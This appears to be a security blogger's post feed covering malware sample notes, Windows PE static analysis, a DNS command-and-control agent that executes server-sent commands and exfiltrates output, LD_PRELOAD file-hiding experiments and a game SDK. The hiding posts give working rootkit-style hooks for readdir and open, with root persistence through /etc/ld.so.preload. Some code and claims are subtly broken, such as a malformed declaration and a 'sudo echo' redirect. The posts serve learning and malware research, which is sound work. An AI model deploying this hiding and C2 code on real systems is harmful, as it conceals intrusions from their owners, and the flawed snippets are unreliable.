DEV Community: Dimitar

Malware Samples - Some challenges from 2022

Dimitar — Tue, 31 Jan 2023 15:20:23 +0000

Putting up my analysis of some malware samples

Samples	Report
`5dee718c386934d2494ee5ddde79d27a69c1687493b6eb40d0db47f730ab76fb`	View
`6fd9909f8ec811577351402832665d4a6b6e5399422b8cac79dd98532ac48913`	View
`19a3dd8024bb4677261ecd8bb85e8a4c53d15870e4b9d2203e933a00b7eecb85`	View
`280d2ceb081745412127a018055234f5a72935a77aa102aef7924ba21f43d4ee`	View
`f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd`	View

`f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd`

I eventually found the XOR cipher key, unfortunately my bruteforce script wasn't able to recover the url but in the end the string wasn't exactly an url. The key was en-CB and the decoded string is c2.2go.ma1w.are_eT!/eab/+CE%&6d

Static Analysis Research - Windows PE

Dimitar — Fri, 06 Jan 2023 14:45:08 +0000

Overview

Recently, I decided do delve a little bit more into static analysis, something beyond just running strings on a binary and getting the ASCII characters that are printable. I decided to take a deep look at how FLOSS is working and possibly recreate some of its functionality in my own tool.

Before reading further, I want you to know that this post is about research I did on static analysis. There is nothing new here - no new tools or features are being discovered. Everything that I talk about already exists in other tools. A big part of this research uses the OpenAI Chat GPT. I made sure to fact-check the information provided here, as the GPT can sometimes produce misleading output.

My research focuses on Windows Portable Executable (PE) files because they are the most common type. Therefore, we'll start by exploring how these files operate.

Keywords

RVA (Relative Virtual Address) - the virtual address of an object from the file once it is loaded into memory, minus the base address of the file image.
IDT (Import Directory Table) - is a data structure in a Portable Executable (PE) file that stores information about dynamic-link libraries (DLLs) that the file depends on and the functions that the file imports from those DLLs.
ILT - is a data structure in a Portable Executable (PE) file that stores the addresses of imported functions in the executable or library.
IAT (Import Address Table) - can be the same with ILT, however when a file is being loaded into memory the loader will overwrite the addresses of the IAT with their new memory address locations.
DEP (Data Execution Prevention) - is a security feature that is designed to prevent code from being executed in certain areas of memory where it is not supposed to be executed. doc
ASLR (Address Space Layout Randomization) - is a security feature that randomizes the memory locations of certain parts of a program or operating system, making it more difficult for attackers to predict or control where certain code or data is located in memory. wiki

Windows Portable Executable (PE)

An executable is a set of binary data that contains instructions for the operating system to execute when the program is loaded into memory. Let's examine how we can manually parse a Portable Executable (PE) file by reading and interpreting the bytes it contains. To do this, we must carefully review the binary data in the PE file and try to make sense of it.

The term image refers to the contents of a file when it is loaded into memory. You will encounter this term frequently in the explanations below.

DOS Header

The first 64 bytes of a binary file represent the DOS header, which is included for backwards compatibility and does not directly affect the functioning of the Portable Executable (PE). These 64 bytes contain information such as the number of pages in the file, the number of relocations, the checksum, OEM identifiers, and reserved words. The last 4 bytes of the DOS header, e_lfanew, contain the offset or address of the new PE header in modern Windows applications.

The first two bytes of an executable file, 4D 5A which translates to MZ in ASCII, serve as an indicator that the file is an executable intended for use on a Windows operating system.

Why 4D 5A?

DOS Stub / Rich Header

Following the first 64 bytes is the DOS Stub, a small program that displays an error message on systems that are not compatible with MS-DOS. This is a legacy feature dating back to the early days of Windows, when the operating system was built on top of MS-DOS.

The Rich Header, on the other hand, is not a required or standard part of the Portable Executable (PE) file format. It contains metadata about the compiler or packer that was used to create the executable and may provide additional information about the file. The magic number for the Rich Header is 52 69 63 68, which translates to Rich in ASCII.

The Rich Header information is encrypted using the XOR cipher, which can be easily decrypted using the 4 bytes immediately following the Rich ASCII which is the key.

To decrypt the rest of the header, we must run the XOR decipher on the file and unmask the value 44 61 6E 53, which translates to "DanS" in ASCII. This marks the beginning of the Rich Header, which is then followed by 3 0s after deciphering.

With this information, we can determine the start and end of the Rich Header and parse it accordingly.

The header can contain data about:

Compiler and build environment information
Timestamps
Checksums
Other metadata

The Rich Header is a very interesting topic that I would like to write more about, until then you can read the following articles.

NT Headers (New Technology)

If we follow the offset indicated in the last two bytes of the DOS header, we will reach the new PE headers (also known as NT headers). These headers are identified by the 4-byte magic number 50 45 00 00, which translates to PE.. in ASCII. This magic number is used to distinguish the PE headers from other types of headers.

The structure of the _IMAGE_NT_HEADERS64:

typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

The structure of _IMAGE_FILE_HEADER:

typedef struct _IMAGE_FILE_HEADER {
    WORD  Machine; // Predefined value [IMAGE_FILE_MACHINE_I386 or IMAGE_FILE_MACHINE_AMD64]
    WORD  NumberOfSections; 
    DWORD TimeDateStamp; // Timestamp of which the executable was compiled or linked
    DWORD PointerToSymbolTable; // The offset to the COFF Symbol Table
    DWORD NumberOfSymbols; // The number of symbols in the COFF Header
    WORD  SizeOfOptionalHeader;
    WORD  Characteristics; // https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#characteristics
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

What is COFF?

The structure of _IMAGE_OPTIONAL_HEADER, this structure is "optional" but in fact most of the PE files contains this header.

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic; 
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode; // .text section size
  DWORD                SizeOfInitializedData; // .data section size
  DWORD                SizeOfUninitializedData; // .bss section size 
  DWORD                AddressOfEntryPoint; // 0 if a DLL because its optional otherwise it indicates the RVA (Relative Virtual Address) it is used to determine the address of elements within the file (strings, icons etc.)
  DWORD                BaseOfCode; // The RVA is the base address of the code section loaded in memory
  DWORD                BaseOfData; // The RVA for the base address of the data section
  DWORD                ImageBase; // This indicates the prefered address at which the file is intended to be loaded in memory, almost never used address instead the PE Loader looks for unused memory space to load the image.
  DWORD                SectionAlignment; // Sections are aligned in memory boundaries that are multiples of this value
  DWORD                FileAlignment; // Raw data alignment on disk
  WORD                 MajorOperatingSystemVersion; 
  WORD                 MinorOperatingSystemVersion; 
  WORD                 MajorImageVersion; 
  WORD                 MinorImageVersion; 
  WORD                 MajorSubsystemVersion; 
  WORD                 MinorSubsystemVersion; 
  DWORD                Win32VersionValue; // Reserved (for future use) must be 0, ensures that the file is compatible with the current system
  DWORD                SizeOfImage; // It gets rounded to a multiple of `SectionAlignment`
  DWORD                SizeOfHeaders; // Sum(DOS Stub, NT Headers, Section Headers)
  DWORD                CheckSum; // Checksum of the Image
  WORD                 Subsystem; // Refer to documentation for this one
  WORD                 DllCharacteristics; // Refer to documentation for this one
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags; // Obsolete refering to documentation, 0
  DWORD                NumberOfRvaAndSizes; // Size of DataDirectory below
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; // This contains the addresses of the Export/Import Directories, the Base Relocation table and so on. It is a constant of `16`.
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

I've written some quick comments on each of the fields however since that struct is lengthy and well documented you can check the fields here as well.

Here is the the list of Data Directories entries:

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

Sections Headers

The section headers are stored in the NT Headers. And the structure of the IMAGE_SECTION_HEADER looks like this:

typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

The sections of a Portable Executable (PE) file contain various types of data, such as code, data, resources, and other information. The headers of the file are used to specify the characteristics of these sections, such as whether they contain executable code, initialized data, uninitialized data, or other types of information.

Tip: You can detect if a PE file has been packed by comparing the values of the VirtualSize and SizeOfRawData fields in the headers. If the VirtualSize is significantly larger than the SizeOfRawData, it is a strong indication that the file has been packed. However, it is worth noting that there may be some discrepancy between the two values due to section padding and alignment.

Sections

Sections are where the actual data of the file is. There are Special Sections as well but we will focus only on the reserved sections such as:

.bss - Uninitialized data (free format)
.data - Initialized data (free format)
.cormeta - CLR metadata that indicates that the object file contains managed code
.debug (following with)
- $F - Generated FPO Frame Poiner Omission debug information (obsolete)
- $P - Precompiled debug types (object only)
- $S - Debug symbols (object only)
- $T - Debug types (object only)
.drective - Linker Options
.edata/.idata - Export/Import Tables
.idlsym - Includes registered SEH (image only) to support IDL attributes. Often used in conjuction with FPO ref
.pdata - Exception information
.rdata - Read-only initialized data
.reloc - Relocations of the Image
.rsrc - Resource Directory
.s(following with) - Global Pointer-relative
- .sbss - uninitialized data
- .sdata - initialized data
- .srdata - read-only data
- .sxdata - Registered exception handler data (free format and x86/object only)
- .vsdata - initialized data (free format and for ARM, SH4, and Thumb architectures only)
.text - Executable code (free format)
.tls/.tls$ - Thread-local storage (object only)
.xdata - Exception information (free format)

Refer to the documentation for further explanation. Each section is explained very well there.

Import Directory Table (IDT)

The Import Directory Table (IDT) stores information about dynamic-link libraries (DLLs) that a Portable Executable (PE) file depends on and the functions that the file imports from those DLLs. In most cases, this information is stored in the .idata section of the PE file, which is dedicated to this purpose. However, in some cases, the IDT may be stored elsewhere.

The address of the IDT can be found in the IMAGE_DATA_DIRECTORY array of the _IMAGE_OPTIONAL_HEADER structure. It is the second entry in the array. Each entry in the IDT is 8 bytes in size, with the first 4 bytes representing the address of the entry and the second 4 bytes representing the size. This information is used by the operating system's dynamic linker to resolve the addresses of the imported functions and link them to the actual functions in the imported DLLs.

Let's take a look at an example:

CC280000 
    The IDT is located at 0xCC28
A0000000
    The size is 160 (A0)

Following the address of the Import Directory we reach the first import located at 0xCC28, let's see what is located at that address.

Each Import is defined by 24 bytes, given these 24 bytes values:

F8290000
    OriginalFirstThunk
00000000
    Timestamp
00000000
    Forwarder Chain (Address)
C02A0000
    Name of the Import (RVA)
D8210000
    FirstThunk

OriginalFirstThunk/FirstThunk

To find out which functions are imported by a particular import in a Portable Executable (PE) file, we can follow the OriginalFirstThunk address at 0xF829, which leads us to the Import Lookup Table (ILT). The ILT is a sequence of bytes that represents the addresses of the imported functions, similar to an array or table.

Note: It's important to note that the Import Address Table (IAT) may be the same as the ILT. However, when a file is loaded, the loader will overwrite the addresses in the IAT with the new memory addresses of the imported functions.

Each function address in the ILT is 8 bytes in length, so the resulting data should look something like this:

FC2A0000
    This is the address of the imported function
00000000

at 0xFC2A ->

B001
    Ordinal/Name Import Flag
5368656C6C4578656375746557
    ASCII -> 'ShellExecuteW'
00
    Null char terminating the string

With this we can denote and 'parse' all the imports and respectively their imported functions.

Resources

To locate the resources in a Portable Executable (PE) file, you can use the third entry in the IMAGE_DATA_DIRECTORY array of the IMAGE_OPTIONAL_HEADER structure. This entry contains the address and size of the resources section in the file.

00000000 
    Characteristics
00000000
    TimeDateStamp
0000
    Major Version
0000
    Minor Version
0000
    Number of Named entities
0400
    Number of ID entities

And the corresponding struct

typedef struct _IMAGE_RESOURCE_DIRECTORY {
     DWORD   Characteristics;
     DWORD   TimeDateStamp;
     WORD    MajorVersion;
     WORD    MinorVersion;
     WORD    NumberOfNamedEntries;
     WORD    NumberOfIdEntries;
    IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
 }

Now let's take a look at the entries IMAGE_RESOURCE_DIRECTORY_ENTRY

typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {
  union {
    struct {
      DWORD NameOffset:31;
      DWORD NameIsString:1;
    } DUMMYSTRUCTNAME;
    DWORD   Name;
    WORD    Id;
  } DUMMYUNIONNAME;
  union {
    DWORD   OffsetToData; // Leads us to the resource directory 
    struct {
      DWORD   OffsetToDirectory:31;
      DWORD   DataIsDirectory:1;
    } DUMMYSTRUCTNAME2;
  } DUMMYUNIONNAME2;
} IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;

The user mmn3mm has written a pretty good explanation of how to parse this section here.

Exception Directory

The Exception Directory is a section in a Portable Executable (PE) file that contains information about the exception handling functions in the code. It includes the addresses of the exception handling functions, the types of exceptions they handle, and other relevant details.

When an exception occurs, the operating system's exception handling mechanism uses the Exception Directory to find the appropriate exception handling function. This section is optional and may not be present in every PE file, depending on whether the code in the file uses exception handling.

It is typically located at .pdata section, and the offset to the Exception section is the 4th entry in the IMAGE_DATA_DIRECTORY array.

Personal Note: As far as I understood that section (I could be wrong here) it contains exception handlers that are being used throughout the execution and they execute only if the execution is within the specified BeginAddress and EndAddress.

The entries there are 12 bytes, first 4 bytes contains the BeginAddress the next 4 bytes contain the EndAddress and the last 4 bytes contains the address (UnwindInfoAddress) for the Unwind Information Block which contains information of how to unwind the stack whenever an exception occurs.

Base Relocations

When a program is compiled, the compiler saves a value into the IMAGE_OPTIONAL_HEADER.ImageBase field, which specifies the desired memory location where the program is intended to be executed. However, this memory location is often already occupied by other programs, so the actual memory location used by the program may be different. In this case, the loader will recalculate the ImageBase value and write the new value into the program's image. This will cause all addresses in the program that are offset by the ImageBase value (essentially, all addresses in the program) to be recalculated with the new ImageBase value and stored in the .reloc section of the image. This process is necessary to ensure that the program can run correctly at its actual memory location.

The user 0xRick has written a very good article of how to calcuate the entries within the Relocation Block and more.

Debug

Microsoft Documentation

The Debug section is the 7th entry of the IMAGE_DATA_DIRECTORY array, its structure looks like this:

typedef struct _IMAGE_DEBUG_DIRECTORY {
    DWORD   Characteristics; // Describing the debug info
    DWORD   TimeDateStamp;
    WORD    MajorVersion; // Version of the debugging tool
    WORD    MinorVersion; // Version of the debugging tool
    DWORD   Type; // Type of Debugging (this will denote the format that you need to parse)
    DWORD   SizeOfData; // The size of the debug data (not including the debug directory itself)
    DWORD   AddressOfRawData; // The address of the debug data when loaded, relative to the image base
    DWORD   PointerToRawData; // The file pointer to the debug data.
} IMAGE_DEBUG_DIRECTORY, *PIMAGE_DEBUG_DIRECTORY;

Refer to the Microsoft's Documentation about how to parse further debug information.

Load Config

This section contains information about the dynamic linking and loading of the executable or library and it is the 11th entry of the IMAGE_DATA_DIRECTORY array. The Load Config section typically includes information such as the address of the entry point of the program, the size of the stack and heap, and the addresses of any imported functions or data.

It can also include security and integrity-related information, such as Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) settings.

It is typically located at .rdata section and it is an optional section for a PE file.

The structure follows:

typedef struct _IMAGE_LOAD_CONFIG_DIRECTORY {
    DWORD   Size;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   GlobalFlagsClear;
    DWORD   GlobalFlagsSet;
    DWORD   CriticalSectionDefaultTimeout;
    DWORD   DeCommitFreeBlockThreshold;
    DWORD   DeCommitTotalFreeThreshold;
    PVOID   LockPrefixTable;
    DWORD   MaximumAllocationSize;
    DWORD   VirtualMemoryThreshold;
    DWORD   ProcessAffinityMask;
    DWORD   ProcessHeapFlags;
    WORD    CSDVersion;
    WORD    DependentLoadFlags;
    PVOID   EditList;
    PVOID   SecurityCookie;
    PVOID   SEHandlerTable;
    DWORD   SEHandlerCount;
    PVOID   GuardCFCheckFunctionPointer;
    PVOID   GuardCFDispatchFunctionPointer;
    PVOID   GuardCFFunctionTable;
    DWORD   GuardCFFunctionCount;
    DWORD   GuardFlags;
} IMAGE_LOAD_CONFIG_DIRECTORY, *PIMAGE_LOAD_CONFIG_DIRECTORY;

Conclusion

This is the first part of my research on static analysis; the primary focus would be on Windows PEs and exactly how much information I can extract before going into the guessing territory.

In order for me to do that, I must know how do these files look like and what raw information is stored in their contents; that is why I started this research by examining Windows's PE files.

I hope you have reached that far and the information that I have provided is useful for you!

References

Using DNS as C2 Communication - Evasive Techniques (Part 3)

Dimitar — Sun, 30 Oct 2022 12:06:43 +0000

Overview

Following my last post about some evasion techniques that the Symbiote uses which I tried to recreate in their simplest form, this post will see how the Symbiote is communicating to the command and control C2 server.

Upon reading the article, we can see that the Symbiote uses the DNS Protocol to exfiltrate data out of the infected machine, the way that it does that is by chunking it into a bunch of A Resource Records (RR) that it sends through the UDP. The A Record looks like this:

{PACKET_NUMBER}.{MACHINE_ID}.{HEX_ENCODED_PAYLOAD}.{DOMAIN_NAME}

I will deliberately skip the whole authentication process that the malware uses, since it gets out of the scope of the post.

Why DNS and not {arbitrary protocol}?

DNS is being used in order to avoid/bypass the firewall rules and in some special scenarios that no TCP outgoing communication is possible.

Bypassing security products via DNS data exfiltration

Implementation

I will explain it briefly from the agent's point of view. We are sending the C2 server a beam (in a shape of a DNS request) every n seconds to check if there is a command for us to execute if we receive a non empty Answer with a TXT Record (containing a command such as ls) we execute that command and after we have the output of the command, we exfiltrate it back to the C2 Server. This happens by sending multiple DNS A record questions (chunks) back to the server. I used the same format that the Symbiote uses for the records.

Note: Each element of a domain name can contain up to 63 chars of information, a full domain name can contain 253 chars. More info

After the server receives a request with the packet number and the total number of packets (that's the first part of the message) it starts building the output message that we will see after we receive all the packets (through the {HEX_ENCODED_PAYLOAD} part of the message).

Code / Demo

Repository - The repository is created for a starting point to improve/build upon.

The repository contains both the agent and the server. When the server is being ran it sets the default handler dns.HandleFunc(".", AgentHandler) to handle any pattern for domain question this is for convenience, in some other cases you will want to specify some special handles.

Usage

Start the server
```
$ go run main.go 127.0.0.1:8053 
```
Start the agent
```
$ go run ./agent/main.go
```

Execute commands on the server side shell (In the case below simple dir). Note that I type cmd /C dir - Why?

><((((> dns c2 by syl <))))><

dnsc2> cmd /C dir
Volume in drive C is OS
Volume Serial Number is XXXX-XXXX

Directory of C:\code\dnsc2\agent

10/28/2022  08:40 PM    <DIR>          .
10/29/2022  11:03 PM    <DIR>          ..
10/28/2022  08:40 PM               481 go.mod
10/28/2022  08:40 PM             3,755 go.sum
10/30/2022  12:37 PM             1,762 main.go
            3 File(s)          5,998 bytes
            2 Dir(s)  107,561,959,424 bytes free

Conclusion

Please note that there could be some easier ways to do this, and some information can be wrong I did my best to research everything that I post here, if you find an error or if you think that something can be improved somewhere you can drop me a message!

Resources

Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 2)

Dimitar — Sat, 08 Oct 2022 13:36:16 +0000

Journey Post

This post is a something that I call "journey post", this follows my process of researching and implementing the solution for the problem (or the challenge). I will wrap/pre-fix parts of the post with html-like <journey> so that you can skip it if you are in a hurry.

Overview

In the last post I've described how I hid a file from all the sys calls that are using readdir. In this post I will try to hide it from the cat command. Let's first examine/reverse engineer how the cat command works internally.

Naturally I would start with a simple strace which will trace the system calls and signals that the command uses.

$ which cat
/usr/bin/cat
$ strace /usr/bin/cat syl.lys
execve("/usr/bin/cat", ["/usr/bin/cat", "syl.lys"], 0x7ffca9c17508 /* 68 vars */) = 0
...
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) // WINK WINK, not yet
...
openat(AT_FDCWD, "syl.lys", O_RDONLY) = 3

The most interesting sys call in the output is openat so lets see the source code of openat.c. Here we can see the char const *file that variable is what holds our filename (look at the strace output). After that, I followed our steps in the last post by implementing a function with the same signature and wrapping the original one.

<journey>

After a few tries I was quick to realize that there is some issue. The wrapper that I've implemented didn't work, or at least didn't work all the time. I've tested it out with a simple program that would just call it and in there it worked, I didn't quite get why it does what it does but I found the following discussions:

As it turns out (my best guess) the sys call that I am trying to override openat is probably not the one that the cat uses. I decided to look at the source code for [cat.c][https://github.com/coreutils/coreutils/blob/master/src/cat.c] and search for everything that has *open* in it.

I found on line 686 a call to the open. An important note here is that this open call here is not the sys call but the call in the std lib which will call the related system call for us. So I've decided to change my approach and override the open function instead.

</journey>

How does the open function work? I wouldn't try to explain something that I am hardly good at so it is best for you to read the man pages for that one.

Let's start by copying the signature of the open function and wrap it.

static int (*original_open)(const char *filename, int flags, ...) = NULL;

int open (const char *filename, int flags, ...)
{
    original_open = dlsym(RTLD_NEXT, "open");
    return original_open(filename, flags);
}

In this code block I've wrapped the original open function with our implementation of the open function. What is left now is to add our "malicious" part to it.

if (strcmp(filename, MALICIOUS_FILE) == 0) 
{
    errno = ENOENT; // Setting up the error to be ERROR NO ENTRY(ENOENT)
    return -1; // Returning -1 (failure)
}

And lastly all together

intercept_open.c

#define _GNU_SOURCE

#include <fcntl.h>
#include <dlfcn.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>

#define MALICIOUS_FILE "syl.lys"

static int (*original_open)(const char *filename, int flags, ...) = NULL;

int open (const char *filename, int flags, ...)
{   
    if (strcmp(filename, MALICIOUS_FILE) == 0) 
    {
        errno = ENOENT;
        return -1;
    }
    original_open = dlsym(RTLD_NEXT, "open");
    return original_open(filename, flags);
}

Let's see if its working...

$ ls
intercept_open.so  syl.lys
$ LD_PRELOAD=./intercept_open.so cat syl.lys
cat: syl.lys: No such file or directory

As you can see the cat command returns No such file or directory which is exactly what we are aiming for.

Combining it with our `readdir`

We created a malicious open function that wraps the original one from the standard lib, lets now combine it with the readdir from the previous post into a single shared object.

malicious.c

#define _GNU_SOURCE

#include <fcntl.h>
#include <dlfcn.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <dirent.h>

#define MALICIOUS_FILE "syl.lys"

static int (*original_open)(const char *filename, int flags, ...) = NULL;
struct dirent *(*original_readdir)(DIR *dirp) = NULL;

int open (const char *filename, int flags, ...)
{
    if (strcmp(filename, MALICIOUS_FILE) == 0) 
    {
        errno = ENOENT;
        return -1;
    }
    original_open = dlsym(RTLD_NEXT, "open");
    return original_open(filename, flags);
}

struct dirent *readdir(DIR *dirp) 
{
    struct dirent *ret;
    original_readdir = dlsym(RTLD_NEXT, "readdir");

    while((ret = original_readdir(dirp))) {
        if(strstr(ret->d_name, MALICIOUS_FILE) == 0)
            break;
    }
    return ret;
}

Let's test it out, supposedly we shouldn't get entries from ls and cat.

$ touch syl.lys
$ ls
intercept_open.c  malicious.c  malicious.so  syl.lys
$ export LD_PRELOAD=./malicious.so
$ ls
intercept_open.c  malicious.c  malicious.so  README.md
$ cat syl.lys
cat: syl.lys: No such file or directory

End

With that I am concluding this post, again if you reached here thank you so much it means a lot! In the next part I will get deeper and make our malicious file to be running and beaconing a malicious C2 server, we will look through some C2 communication examples using the DNS protocol so that we can remain under the radar(or the firewall ^^).

Full Source Code

Resources

This post wouldn't be possible without:

https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-5.html
https://linux.die.net/man/2/openat
And some kind StackOverflow users!

Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 1)

Dimitar — Tue, 04 Oct 2022 19:42:22 +0000

Overview

Recently I heard about a new malware called Symbiote, which the researches are calling the "Nearly-Impossible-to-Detect Linux Threat". I was very intrigued by how that malware is being implemented and how it works internally to remain undetected, so naturally I've started to research it.

I highly advise you to read through these articles first before we begin with the actual post:

Implementation

I decided to implement a very simple alternative of the evasive techniques that this malware uses just as a proof of concept and if you already read the articles that I've linked, it is apparent that we have to implement a shared library, that will override some symbols defined in the Linux Kernel.

What do we need first and how to hide a file from lets say a command like ls? With a little bit of investigating of how the ls works internally through the source code and the linux manual page
We can see that internally we have a function that is called print_dir. I've truncated the comments of the original source code.

 ...
static void
print_dir (char const *name, char const *realname, bool command_line_arg)
...

If we continue further down the function we can see the loop that actually iterates over the files

...
  while (true)
    {
      errno = 0;
      next = readdir (dirp); // Here we can see that the loop iterates over readdir as long
      // as the pointer that readdir returns isn't null and the errno != 0
      if (next)
        {
          if (! file_ignored (next->d_name)) // we can see here that it the filename is
          // taken from the next variable, lets look through the source code of `readdir`
            {
      ...

Let's confirm that by invoking nm this will show us the dynamic symbols that are being loaded from shared libs.

$ nm -D /usr/bin/ls | grep "readdir"
                 U readdir@GLIBC_2.2.5

Now I concluded that I need to search into the source code of readdir which is located here and the linux manual page. The description more or less describes exactly what we concluded from the source code of ls.c. Lets see where we set that d_name variable.

#include <dirent.h>

struct dirent *readdir(DIR *dirp); // Signature of the readdir

struct dirent {
    ino_t          d_ino;       /* Inode number */
    off_t          d_off;       /* Not an offset; see below */
    unsigned short d_reclen;    /* Length of this record */
    unsigned char  d_type;      /* Type of file; not supported
                                    by all filesystem types */
    char           d_name[256]; /* Null-terminated filename */
};

⚠️ This reverse engineering/looking up the code might be a little bit tricky because of the different implementations of the dirent structure, if you look through some other source codes you may look at some slightly different structures. In this case the number of chars in the array is 256 but that might change to some other values. And you can always count that d_name will exists since this field must be implemented on all POSIX systems.

Alright, let's start implementing our own function readdir that we will wrap the original one with.

/* libhidemyfile.c */
#define _GNU_SOURCE
#include <dirent.h> // Including the Directory Entry structure
// The dynamic linking header file so we can use the dlsym
// which will give us the address for the readdir symbol
#include <dlfcn.h>
#include <string.h> // So we can use the strstr

struct dirent *readdir(DIR *dirp) {
    struct *(handle)(DIR *);
    // https://man7.org/linux/man-pages/man3/dlsym.3.html
    // Search for RTLD_NEXT, basically it allow us to wrap
    // the original function
    handle = dlsym(RTLD_NEXT, "readdir")
    struct dirent *dp;

    // Iterating over the return values of our original `readdir`
    while((dp = handle(dirp))) {
        // if our `needle`(our file `syl.lys`) is found in the `haystack`(`dp->d_name`)
        // break the loop and go to the next entry, essentially skipping our file.
        if(strstr(dp->d_name, "syl.lys") == 0)
            break;
    }
    return dp;
}

This is what our final version of wrapper for readdir would look like. Now let's try to compile it.

$ gcc libhidemyfile.c -fPIC -shared -o libhidemyfile.so -ldl

Flags:

fPIC
-shared creates a shared object
-D_GNU_SOURCE flag / _GNU_SOURCE - TLDR: We need it for RTLD_NEXT
-ldl

Now that we have shared object (*.so) file lets see how to use it in action.

How to overwrite the exported symbols? `LD_PRELOAD`

What is LD_PRELOAD?

I advise you to read that first to get a better understanding of how it works.

The next thing that we are going to do is to test our shared library and see if it works. Lets run ls with our libhidemyfile.so loaded before anything else.

$ ls
libhidemyfile.so  syl.lys
$ LD_PRELOAD=./libhidemyfile.so ls
libhidemyfile.so

As you can see we successfully implement a shared library that hides our file from ls, and not only that command, every command that uses readdir won't be able to list our file as long as we load our shared library. So in that case we must think of a persistent way of how to load it without typing LD_PRELOAD in front of every command.

/etc/ld.so.preload

If you read carefully the man pages for LD_PRELOAD you should know that you won't be able to override functions in the standard search directories without properly setting your set-user-ID permissions.

Instead we are going to use the /etc/ld.so.preload which does not suffer from these restrictions. This suffers from requiring root privileges but c'mon.. if you are here you will get those!

We first need to move our shared library file in some root directory, preferably /lib/ since..it is a library.

$ sudo mv ./libhidemyfile.so /lib/libhidemyfile.so

Then we just need to place our library dir in ld.so.preload file.

$ sudo echo "/lib/libhidemyfile.so" > /etc/ld.so.preload

And if everything is good, executing ls or any of its aliases will hide our file from the output. Let's verify this by using ldd

$ ldd /bin/ls
        linux-vdso.so.1 (0x00007ffc0c8e2000)
        /lib/libhidemyfile.so (0x00007f00e59e4000) <--- Here it is!
        libselinux.so.1 => /lib64/libselinux.so.1 (0x00007f00e5997000)
        libcap.so.2 => /lib64/libcap.so.2 (0x00007f00e598d000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f00e5600000)
        libpcre2-8.so.0 => /lib64/libpcre2-8.so.0 (0x00007f00e58f0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f00e5a0f000)

For your convenience I've setup a Docker container that you can use with ld.so.preload setup

$ docker run -it --rm sylly/ctf_findme

End

If you reached here, thank you so much for the read. In the next part I will try to "completely" hide it from the system because now if we cat it despite not "reading" it in the directory would print us the contents of the file, but that will be the subject of the next post.

Resources

This post wouldn't be possible without:

LegionTD2 SDK in Go

Dimitar — Tue, 04 Oct 2022 19:41:10 +0000

Recently I've been fascinated with a game called LegionTD2, this is a newly created game that I've been playing
as a map ever since Warcraft 3, it is tactical multiplayer tower-defense(td). The game is based on predictions and timings, if you play your cards right (or in the context of the game: sends/workers/units) you will prevail over the enemy team. Read more about it here.

LegionTD SDK

I've doing stuff in Go in my free time (mainly code challenges) for a while now and I've decided that I should spend some time creating something useful for myself such as creating tools that would help me get better at the game. The game has an API which resides here, there are couple of endpoints that are useful for helpful statistics such as the player/* and games/* endpoints. I knew that I will be querying the API a lot for
fetching info about players and games, so I've decided to create an SDK for that so I can ease my work a little bit. And after couple of weeks free time work I've created the LegionTD 2 SDK for Go.

Functionality

Analyze games

While my ultimate goal is to create set of analytics tools for Legion, I've created the most basic example of how that might happen using SQLite3 and Go.

